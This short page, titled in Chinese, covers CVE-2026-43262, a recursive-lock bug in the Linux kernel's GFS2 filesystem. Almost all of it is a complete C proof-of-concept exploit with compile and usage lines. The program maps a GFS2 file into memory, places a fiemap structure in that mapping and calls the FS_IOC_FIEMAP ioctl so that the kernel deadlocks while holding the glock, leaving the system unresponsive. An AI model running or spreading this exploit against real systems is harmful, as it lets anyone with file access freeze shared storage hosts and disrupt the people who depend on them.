CVE-2026-43262 Linux内核GFS2递归锁漏洞

/* * PoC for CVE-2026-43262: Trigger recursive glock in GFS2 * Compile: gcc -o poc_gfs2 poc_gfs2.c * Usage: ./poc_gfs2 /path/to/file/on/gfs2 */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <linux/fs.h> #include <linux/fiemap.h> #include <unistd.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <file_on_gfs2>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } // Map the file into memory. This creates the page table entries. char *map = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); close(fd); return 1; } // Prepare the fiemap structure inside the mapped memory region. // This makes the kernel write to the file itself while holding the lock. struct fiemap *fiemap = (struct fiemap *)map; fiemap->fm_start = 0; fiemap->fm_length = 4096; // ~UINT64_MAX; fiemap->fm_flags = 0; fiemap->fm_extent_count = 1; fiemap->fm_reserved = 0; printf("[+] Triggering FS_IOC_FIEMAP with buffer mapped to the same inode...\n"); // This ioctl call will trigger the page fault inside gfs2_fiemap // while holding the glock, causing the deadlock. if (ioctl(fd, FS_IOC_FIEMAP, fiemap) < 0) { perror("ioctl"); // If the kernel hangs, this might not print. } printf("[+] Exploit finished. System might be unresponsive if vulnerable.\n"); munmap(map, 4096); close(fd); return 0; }